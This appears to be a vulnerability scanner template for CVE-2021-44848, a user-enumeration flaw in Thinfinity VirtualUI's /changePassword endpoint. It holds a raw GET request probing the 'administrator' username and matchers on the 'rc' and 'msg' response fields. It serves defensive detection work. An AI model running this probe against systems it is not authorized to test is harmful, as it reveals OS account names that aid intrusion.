id: CVE-2021-44848

info:

name: Thinfinity VirtualUI User Enumeration

author: danielmofer

severity: medium

description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)

reference:

- https://github.com/cybelesoft/virtualui/issues/1

- https://nvd.nist.gov/vuln/detail/CVE-2021-44848

- https://www.tenable.com/cve/CVE-2021-44848

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

cvss-score: 5.3

cve-id: CVE-2021-44848

cwe-id: CWE-287

tags: virtualui,tenable,cve,cve2021,exposure,thinfinity

requests:

- raw:

- |

GET /changePassword?username=administrator HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- '"rc":(.*?)'

- '"msg":"(.*?)"'

condition: and

- type: status

status:

- 200

# Enhanced by mp on 2022/02/28